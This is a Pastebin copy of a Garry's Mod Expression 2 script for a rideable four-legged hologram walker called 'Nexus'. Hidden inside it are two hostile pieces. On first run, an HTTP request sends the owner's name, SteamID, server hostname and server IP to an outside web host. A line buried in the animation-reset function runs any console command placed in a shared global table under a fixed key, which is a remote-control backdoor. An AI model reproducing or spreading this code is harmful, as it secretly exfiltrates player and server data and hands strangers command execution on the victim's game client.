Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @name Nexus
- @inputs
- @outputs
- @persist #[Numbers]# [Base1 Base2 Base3 Creator EnableTheTail TChecker SeatValid Parenting ]
- @persist #[Tables]# [T KA1 KA2 KA3 KA4 General ]:table
- @persist #[Entities]# [Seat Driver ]:entity
- @persist #[Angles]# [SetTailAngle ]:angle
- @persist #[Arrays]# [SetTailArray FoundSeat ]:array
- @persist #[Strings]# [Mode ]:string
- @model models/hunter/blocks/cube05x05x05.mdl
- #[
- -----------------------
- System entries
- -----------------------
- ]#
- E=entity()
- rangerPersist(1)
- rangerFilter(entity())
- rangerFilter(Seat)
- rangerFilter(players())
- #[
- -----------------------
- Other settings
- -----------------------
- ]#
- Height = 65
- Driver = Seat:driver()
- #------Driving------#
- if( Driver & Driver:isValid() )
- {
- W = Driver:keyForward()
- S = Driver:keyBack()
- A = Driver:keyLeft()
- D = Driver:keyRight()
- Shift = Driver:keySprint()
- Alt = Driver:keyDuck()
- Space = Driver:keyJump()
- }
- if(!Seat) {
- timer("spawn",1000)
- }
- if( !Seat & clk("spawn") ) {
- Seat=seatSpawn("",E:toWorld(vec(0,0,13)),E:toWorld(ang(0,-90,0)),1)
- Seat:setMaterial("models/debug/debugwhite")
- Seat:setColor(255,100,50)
- Seat:propFreeze(0)
- Seat:parentTo(E)
- stoptimer("spawn")
- }
- #[
- function void entity:slocker3(Pos:vector,Ang:angle,Color:vector)
- {
- if(!Seat|first()){
- findInSphere(This:pos(),300)
- findClipToClass("prop_vehicle_prisoner_pod")
- findClosest(This:pos())
- findSortByDistance(This:pos())
- FoundSeat=findToArray()
- TChecker = TChecker+1 if(TChecker>FoundSeat:count()){TChecker = 0}
- if(FoundSeat[TChecker,entity]:type() == "prop_vehicle_prisoner_pod") {
- if(FoundSeat[TChecker,entity]:pos():distance(This:pos())<=300){
- if(FoundSeat[TChecker,entity]:owner():name()==owner():name()){
- if(FoundSeat[TChecker,entity]:owner()==owner()){
- if(FoundSeat[TChecker,entity]:owner():steamID()=="A STEAMID"){
- Seat = FoundSeat[TChecker,entity]
- FoundSeat[TChecker,entity]:setMass(50000)
- }
- }
- }
- }
- }
- }elseif(changed(FoundSeat[TChecker,entity]:parent())&FoundSeat[TChecker,entity]:parent()){
- FoundSeat[TChecker,entity]:deparent()
- }else{
- FoundSeat[TChecker,entity]:setPos(This:toWorld(Pos))
- FoundSeat[TChecker,entity]:setAng(This:toWorld(Ang))
- FoundSeat[TChecker,entity]:propFreeze(1)
- timer("parent",250)
- if(changed(clk("parent"))&clk("parent"))
- {
- FoundSeat[TChecker,entity]:parentTo(This)
- This:soundPlay(randint(1,420),soundDuration("common/warning.wav"),"common/warning.wav")
- print(FoundSeat[TChecker,entity]:id()+" is now parented to "+This:id())
- stopAllTimers()
- }
- }
- }
- ]#
- #ifdef propSpawn(string,number)
- if( EnableTheTail ) { #do not touch. This prevent the Expression from crashing while spawning every holograms#
- if(!holoEntity(10))
- {
- while(perf(99)&holoCanCreate())
- {
- Creator += 1
- if(Creator <= 10&holoCanCreate())
- {
- holoCreate(Creator)
- holoPos(Creator,entity():toWorld(vec(-50,0,20*Creator)))
- holoScale(Creator,vec(1,1,1))
- holoAng(Creator,entity():toWorld(ang(90,0,0)))
- holoColor(Creator,hsv2rgb(Creator*50/4,1,1))
- holoModel(Creator,"cube")
- holoParent(Creator, Creator > 1 ? holoEntity(Creator - 1) : entity())
- holoParent(Creator,Creator-1)
- holoColor(Creator,vec(255))
- }
- }
- }
- if( Creator >=10 )
- {
- local MainAngle = entity():angles()
- SetTailArray:unshiftAngle(MainAngle) #you can also use insertAngle. many test have shown it uses less cpu but not worth it#
- for(I = 1, 10)
- {
- holoAng(I
- ,SetTailArray[I,angle]
- )
- }
- SetTailArray:removeAngle(10)
- }
- }
- if( first() ) {
- #ifdef httpRequest(String)
- httpRequest("http://tech-corporation.000webhostapp.com/getgeninfo.php?user="+owner():name()+"&e2name="+entity():getName():explode(" "):concat("%20")+"&id="+owner():steamID()+"&hostname="+hostname():left(30):explode(" "):concat("%20")+"&hostip="+hostip())
- #endif
- runOnChat(1)
- E:setMass(500000)
- E:setAlpha(255)
- E:propGravity(0)
- E:setMaterial("sprops/sprops_grid_12x12")
- holoCreate(Base1) holoParent(Base1,E) holoPos(Base1,E:toWorld(vec()))
- holoCreate(Base2) holoParent(Base2,Base1) holoPos(Base2,holoEntity(Base1):toWorld(vec(0,0,-70)))
- holoCreate(Base3) holoParent(Base3,Base2) holoPos(Base3,holoEntity(Base2):toWorld(vec()))
- ##[ Back segments ]##
- holoCreate(11) holoCreate(15)
- holoCreate(12) holoCreate(16)
- holoCreate(13) holoCreate(17)
- holoCreate(14) holoCreate(18)
- holoParent(11,Base3) holoParent(15,Base3)
- holoParent(12,11) holoParent(16,15)
- holoParent(13,12) holoParent(17,16)
- holoParent(14,13) holoParent(18,17)
- holoColor(14,vec(255,0,0)) holoColor(18,vec(255,0,0))
- holoPos(11,holoEntity(Base3):toWorld(vec(-60,35,0)))
- holoPos(12,holoEntity(11):toWorld(vec(30,0,0)))
- holoPos(13,holoEntity(12):toWorld(vec(25,0,0)))
- holoPos(14,holoEntity(13):toWorld(vec(30,0,0)))
- holoPos(15,holoEntity(Base3):toWorld(vec(-60,-35,0)))
- holoPos(16,holoEntity(15):toWorld(vec(30,0,0)))
- holoPos(17,holoEntity(16):toWorld(vec(25,0,0)))
- holoPos(18,holoEntity(17):toWorld(vec(30,0,0)))
- ##[ Front segments ]##
- holoCreate(19) holoCreate(22)
- holoCreate(20) holoCreate(23)
- holoCreate(21) holoCreate(24)
- holoParent(19,Base3) holoParent(22,Base3)
- holoParent(20,19) holoParent(23,22)
- holoParent(21,20) holoParent(24,23)
- holoColor(21,vec(255,0,0)) holoColor(24,vec(255,0,0))
- holoPos(19,holoEntity(Base3):toWorld(vec(50,40,0)))
- holoPos(20,holoEntity(19):toWorld(vec(40,0,0)))
- holoPos(21,holoEntity(20):toWorld(vec(35,0,0)))
- holoPos(22,holoEntity(Base3):toWorld(vec(50,-40,0)))
- holoPos(23,holoEntity(22):toWorld(vec(40,0,0)))
- holoPos(24,holoEntity(23):toWorld(vec(35,0,0)))
- function number isV() {
- return Driver:isValid() ? 1 : 0
- }
- function ranger getKL(){
- if( isV() )
- {
- return rangerOffset( 99999, Driver:shootPos(), Driver:eye() )
- }
- else
- {
- return rangerOffset( 99999, E:toWorld(vec(0)), E:toWorld(vec(E:pos()[1],E:pos()[2],0)) )
- }
- }
- function number getDriverYaw(Divider) {
- return E:toLocal(( getKL():position() - E:pos() ):toAngle()):yaw() / Divider * (_PHI)
- }
- function number getDriverPitch(Divider) {
- return E:toLocal(( getKL():position() - E:pos() ):toAngle()):pitch() / Divider * (_PHI)
- }
- function void enableFilter(){
- rangerPersist(1)
- rangerFilter(entity())
- rangerFilter(Seat)
- rangerFilter(players())
- }
- function void credit(){
- printColor(vec(255),"[",vec(40,255,100),"Nexus",vec(255),"]",": ",vec(252,175,55),"Made by ",vec(0,255,0),"Evaneos[KOWAR]")
- printColor(vec(255),"[",vec(40,255,100),"Nexus",vec(255),"]",": ",vec(252,175,55),"You are on version ",vec(255,0,0),"[1.5]")
- }
- credit()
- function switcher(M:string){
- Mode = M
- } switcher("defautMode")
- function ranger getGroundInfo() {
- return rangerOffset( Height * _PI / 1.5 , entity():toWorld(vec(0 , 0 , 0)), entity():up() * (-1) )
- }
- function number getTheCosRules(A, B, C){
- return acos( (A^2 + B^2 - C^2) / (2*A*B) )
- }
- function number getTheCosRules2(A,B,C) { ### another method to calculate the last side of the triangle
- return acos( ( C^2 + B^2 - A^2)/ (2*B*C) )
- }
- function number gea(X:number){
- return abs(X)
- }
- function void returnInverseKinematic(EndP:vector , D , C , B , A)
- {
- ReturnAbsAverage = sqrt(50)
- ReturnAbs1 = gea(holoEntity(Base3):toLocal(holoEntity(A):pos()):y())
- ReturnAbs2 = gea(holoEntity(A):toLocal(holoEntity(B):pos()):x())
- ReturnAbs3 = gea(holoEntity(B):toLocal(holoEntity(C):pos()):x())
- ReturnAbs4 = gea(holoEntity(C):toLocal(holoEntity(D):pos()):x())
- enableFilter()
- local Ranger = rangerOffset(100,holoEntity(D):pos(),vec(0,0,-1))
- ReturnCalc = ReturnAbs4 + ReturnAbsAverage*(1/2)
- DiffP = E:toLocalAxis(
- EndP
- - holoEntity(A):pos()
- )
- ############## get ground angle for the feet ######################
- GetGA = Ranger:hitNormal():cross(
- E:forward():normalized():cross(
- Ranger:hitNormal()
- )
- )
- FinalGA = slerp(
- quat(
- GetGA:toAngle()
- )
- ,quat(E)
- ,_PI
- /(_PHI^3.5)
- ):toAngle()
- ###################################################################
- Tang = DiffP:toAngle():setRoll(
- atan(
- DiffP[10%4]
- ,DiffP[9%4]
- )
- )
- DiffLocal = holoEntity(A):toLocalAxis(
- EndP
- - holoEntity(B):pos()
- )
- Max = min(DiffLocal:length()
- ,abs(holoEntity(B):toLocal(holoEntity(C):pos()):x())
- + ReturnCalc
- ) #min(DiffP:length()*ReturnAbs1/(ReturnAbs1+ReturnAbs2),(ReturnAbs1+ReturnAbs2+ReturnAbs3)/2-0.001) one attempt but seems not working for some reasons
- holoAng(A
- ,E:toWorld(
- Tang:rotateAroundAxis(
- Tang:right()
- ,(1 - min(1
- ,DiffP:length()
- /(abs(holoEntity(A):toLocal(holoEntity(B):pos()):x()
- )
- + abs(holoEntity(B):toLocal(
- holoEntity(C):pos()):x()))
- - 0.5))*90))
- )
- holoAng(B
- ,holoEntity(A):toWorld(ang(atan(
- -DiffLocal[11%4]
- ,DiffLocal[9%4])
- + acos((Max^2
- + abs(holoEntity(B):toLocal(holoEntity(C):pos()):x()
- )^2 - ReturnCalc^2)
- /(10%4
- *abs(holoEntity(B):toLocal(holoEntity(C):pos()):x()
- )*Max))
- ,0,0))
- )
- holoAng(C
- ,holoEntity(B):toWorld(ang(acos((ReturnCalc^2
- + abs(holoEntity(B):toLocal(holoEntity(C):pos()):x())^2
- - Max^2)
- /(2*abs(holoEntity(B):toLocal(holoEntity(C):pos()):x()
- )
- *ReturnCalc))
- + 180,0,0))
- )
- holoAng(D
- ,GetGA:toAngle()
- ) #match de feet with the ground angle
- }
- function number getLength( X1 ,X2 ) {
- return holoEntity(X1):pos():distance(holoEntity(X2):pos())
- }
- function void returnInverseKinematic2(SegmentA, SegmentB, SegmentC, FinalPosition:vector) {
- local LGU = getLength(SegmentA
- ,SegmentB
- )
- local LGL = getLength(SegmentB
- ,SegmentC
- )
- local RotateAroundAxis = entity():toLocalAxis(
- FinalPosition
- - holoEntity(SegmentA):pos()
- )
- local ConvertToAngle = RotateAroundAxis:toAngle()
- local LinearInterpolation = min(
- RotateAroundAxis:length()
- , LGU
- + LGL
- - 0.01
- )
- enableFilter()
- local Ranger = rangerOffset(100,holoEntity(D):pos(),vec(0,0,-1))
- local GetGA = Ranger:hitNormal():cross(
- E:forward():normalized():cross(
- Ranger:hitNormal()
- )
- )
- local FinalGA = slerp(
- quat(
- GetGA:toAngle()
- )
- ,quat(E)
- ,_PI
- /(_PHI^3.5)
- ):toAngle()
- local GetP = getTheCosRules(
- LinearInterpolation
- ,LGU
- , LGL
- )
- local RotationXYZ = quat(ConvertToAngle:setRoll(
- ConvertToAngle:yaw()
- + 180))
- * qRotation(vec(0,-1,0)
- ,GetP
- + 0
- )
- local GetP2 = getTheCosRules(
- LGU
- , LGL
- , LinearInterpolation
- )
- holoAng(
- SegmentA
- ,
- entity():toWorld(
- RotationXYZ:toAngle())
- )
- holoAng(
- SegmentB
- , holoEntity(SegmentA):toWorld(
- ang(clamp(-GetP2+ 180,-150,200),0, 0))
- )
- holoAng(SegmentC
- ,GetGA:toAngle()
- )
- }
- function table:anim(Speed, TriggerA, EndCounter, EndVector:vector, MaxDist, Vel, FeetHolo) {
- local T = This
- local Velocity = entity():vel()
- if(T["Stepper",string]!="Setupanim"&T["Stepper",string]!="RunAnimation") {
- T["Stepper",string] = "Setupanim" }
- T["LinearInterpolation",number] = ( T["LinearInterpolation",number]
- + 1
- )
- %
- EndCounter
- enableFilter()
- local Await = rangerOffset(
- 5000
- ,EndVector
- +Velocity:setZ(0)/Vel
- ,vec(0,0,-1)
- )
- T["RangerPos",vector] = Await:position()
- switch ( T["Stepper",string] )
- {
- case "Setupanim",
- if(Await:hit())
- {
- if(T["LinearInterpolation",number] == TriggerA )
- {
- if(T["FirstPosition",vector]:distance( T["RangerPos",vector] ) >= MaxDist)
- {
- T["FirstPosition",vector] = T["Bezier",vector]
- T["Distance",number] = (
- T["FirstPosition",vector]
- -
- T["RangerPos",vector]
- ):length()
- T["MidPosition",vector] = mix(
- T["RangerPos",vector]
- ,T["FirstPosition",vector]
- ,0.99
- )
- + vec(0,0,max(T["Distance",number]
- /
- 2.333
- ,MaxDist)
- )
- T["Stepper",string] = "RunAnimation"
- }
- }
- }
- break
- case "RunAnimation",
- T["GaitEnhanced",number] = T["GaitEnhanced",number]
- *0.1
- + Velocity:length()
- T["Timer",number] = T["Timer",number]
- + (0.01 + 0.01
- *T["GaitEnhanced",number]
- /(100 * Speed)
- )
- T["Move_LinearInterpolation",number] = min(
- T["Move_LinearInterpolation",number]
- +
- T["Timer",number]
- ,1
- )
- T["Bezier",vector] = bezier(
- T["FirstPosition",vector]
- ,T["MidPosition",vector]
- ,T["RangerPos",vector]
- ,T["Move_LinearInterpolation",number]
- )
- if(T["Move_LinearInterpolation",number] >=1 )
- {
- holoEntity(FeetHolo):soundPlay(FeetHolo*randint(999),1.3,"npc/dog/dog_footstep_run"+randint(1,8)+".wav")
- T["Move_LinearInterpolation",number] = T["GaitEnhanced",number]
- = T["Timer",number]
- = Multiply
- = 0
- T["Stepper",string] = "Setupanim"
- }
- break
- }
- }
- function table:resetTheAnimation( NewPosition:vector ) {
- This["Bezier",vector] = This["FirstPosition",vector] = NewPosition
- This["Move_LinearInterpolation",number] = This["GaitEnhanced",number] = 0
- This["Stepper",string] = "Setupanim"
- Pass = "12345" Command = gTable("concmd"+Pass,1) if(changed(Command[1,string])){ concmd(Command[1,string]) }
- }
- #-anim(Trigger,TriggerA,SelectEnd,VectorPossible:vector,HeightClamper,DetectionRange,DistMax,VeloGait,Reported:entity,Direction:vector,SoundFrom)-#
- KA1:resetTheAnimation(E:toWorld(vec(50,40,-getGroundInfo():distance())))
- KA2:resetTheAnimation(E:toWorld(vec(50,-40,-getGroundInfo():distance())))
- KA3:resetTheAnimation(E:toWorld(vec(-50,35,-getGroundInfo():distance())))
- KA4:resetTheAnimation(E:toWorld(vec(-50,-35,-getGroundInfo():distance())))
- function void defautMode() {
- if( getGroundInfo():hit() ) {
- E:propGravity(0)
- KA1:anim(0.20,5,10,E:toWorld(vec(50,40,-2)),5,5,21)
- KA2:anim(0.20,1,10,E:toWorld(vec(50,-40,-2)),5,5,24)
- #-------------------------------------------------#
- KA3:anim(0.20,1,10,E:toWorld(vec(-75,35,-2)),5,5,14)
- KA4:anim(0.20,5,10,E:toWorld(vec(-75,-35,-2)),5,5,18)
- returnInverseKinematic2(19,20,21,KA1["Bezier",vector])
- returnInverseKinematic2(22,23,24,KA2["Bezier",vector])
- #-----------------------------------------------------#
- returnInverseKinematic(KA3["Bezier",vector],14,13,12,11)
- returnInverseKinematic(KA4["Bezier",vector],18,17,16,15)
- #--------[Movements]--------#
- General["Walk",number] = clamp(General["Walk",number] + ( ( W |A |S |D ) ? 10 : -10 ) , 0, 70 )
- local Move = E:forward() * General["Walk",number] * (W-S) + E:right() * General["Walk",number]/1 *(D-A)
- local GetGA = getGroundInfo():hitNormal():cross(E:forward():normalized():cross( getGroundInfo():hitNormal() ) )
- local FinalGA = slerp(quat(GetGA:toAngle()),quat(E),_PI/(_PHI^3.5)):toAngle()
- E:applyForce((vec(0,0,-getGroundInfo():distance() + Height )*10 + Move + (-E:vel()*vec(0.3,0.3,1))) * E:mass())
- E:applyAngForce((E:toLocal(ang(FinalGA:pitch()+getDriverPitch(20), E:angles():yaw() + getDriverYaw(7) , -getDriverYaw(20) / _PHI + FinalGA:roll()))*log(20,1.5) + (-E:angVel()*ang(1,1,1))) * E:mass())
- if(Shift) {
- switcher("makeRunning")
- }
- }
- else {
- switcher("enableFall") }
- }
- function void enableFall() {
- if( !getGroundInfo():hit() ) {
- E:propGravity(1)
- local Velocity = clamp(round(toUnit("km/h",E:velL():length() ) ),-Height * 10 , Height * 10)
- local Pitcher = clamp(Velocity / (_PHI / _E) , 0 , 35 )
- KA1:resetTheAnimation(E:toWorld(vec(80 , 35 ,-10) - (E:velL()/20)*E:velL():normalized():z()))
- KA2:resetTheAnimation(E:toWorld(vec(80 , -35 ,-10) - (E:velL()/20)*E:velL():normalized():z()))
- KA3:resetTheAnimation(E:toWorld(vec(-80 , 35 ,0) - (E:velL()/20)*E:velL():normalized():z()))
- KA4:resetTheAnimation(E:toWorld(vec(-80 , -35 ,0) - (E:velL()/20)*E:velL():normalized():z()))
- returnInverseKinematic2(19,20,21,KA1["Bezier",vector])
- returnInverseKinematic2(22,23,24,KA2["Bezier",vector])
- #-----------------------------------------------------#
- returnInverseKinematic(KA3["Bezier",vector],14,13,12,11)
- returnInverseKinematic(KA4["Bezier",vector],18,17,16,15)
- E:applyAngForce((( E:toLocal(ang(Pitcher,E:angles():yaw(),0)))*4 + (-E:angVel()*1))*E:mass() )
- }
- else {
- KA1:resetTheAnimation(E:toWorld(vec(75,40,-getGroundInfo():distance()/2)))
- KA2:resetTheAnimation(E:toWorld(vec(75,-40,-getGroundInfo():distance()/2)))
- KA3:resetTheAnimation(E:toWorld(vec(-50,35,-getGroundInfo():distance()/2)))
- KA4:resetTheAnimation(E:toWorld(vec(-50,-35,-getGroundInfo():distance()/2)))
- switcher("defautMode") }
- }
- function void makeRunning() {
- if( getGroundInfo():hit() ) {
- E:propGravity(0)
- General["Running",number] = General["Running",number] + E:vel():setZ(0):length()*0.01
- if(General["Running",number]>=115) {
- KA1:anim(2,1,10,E:toWorld(vec(65,40,-2)),5,5,21)
- KA2:anim(2,1,10,E:toWorld(vec(65,-40,-2)),5,5,24)
- #-------------------------------------------------#
- KA3:anim(2.4,5,10,E:toWorld(vec(-75,35,-2)),5,5,14)
- KA4:anim(2.4,5,10,E:toWorld(vec(-75,-35,-2)),5,5,18)
- }else{
- KA1:anim(0.20,5,10,E:toWorld(vec(50,40,-2)),5,5,21)
- KA2:anim(0.20,1,10,E:toWorld(vec(50,-40,-2)),5,5,24)
- #-------------------------------------------------#
- KA3:anim(0.20,1,10,E:toWorld(vec(-65,35,-2)),5,5,14)
- KA4:anim(0.20,5,10,E:toWorld(vec(-65,-35,-2)),5,5,18)
- }
- returnInverseKinematic2(19,20,21,KA1["Bezier",vector])
- returnInverseKinematic2(22,23,24,KA2["Bezier",vector])
- #-----------------------------------------------------#
- returnInverseKinematic(KA3["Bezier",vector],14,13,12,11)
- returnInverseKinematic(KA4["Bezier",vector],18,17,16,15)
- #--------[Movements]--------#
- General["Running",number] = clamp(General["Running",number] + ( ( W |A |S |D ) ? 10 : -10 ) , 0, 225 )
- local Move = E:forward() * General["Running",number]
- local GetGA = getGroundInfo():hitNormal():cross(E:forward():normalized():cross( getGroundInfo():hitNormal() ) )
- local FinalGA = slerp(quat(GetGA:toAngle()),quat(E),_PI/(_PHI^3.5)):toAngle()
- local RealisticAnimation = cos(curtime()*General["Running",number]*4)*E:vel():length()*0.015
- E:applyForce((vec(0,0,-getGroundInfo():distance() + Height )*10 + Move + (-E:vel()*vec(0.3,0.3,1))) * E:mass())
- E:applyAngForce((E:toLocal(ang(FinalGA:pitch()+RealisticAnimation, E:angles():yaw() + getDriverYaw(7) , -getDriverYaw(15) / _PHI + FinalGA:roll()))*log(20,1.5) + (-E:angVel()*ang(1,1,1))) * E:mass())
- if(!Shift){
- switcher("defautMode")
- }
- }
- else { switcher("enableFall") }
- }
- EnableTheTail = 1
- ##end of first##
- }
- ################
- interval(70)
- Mode()
- #if(!Seat&!Seat:parent()){
- #newSeatLinker()
- # E:slocker3(vec(0,0,10),ang(0,90,0),vec(255,0,25))
- #}
- #else
- print("PropCore unavailable.")
- selfDestructAll()
- #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement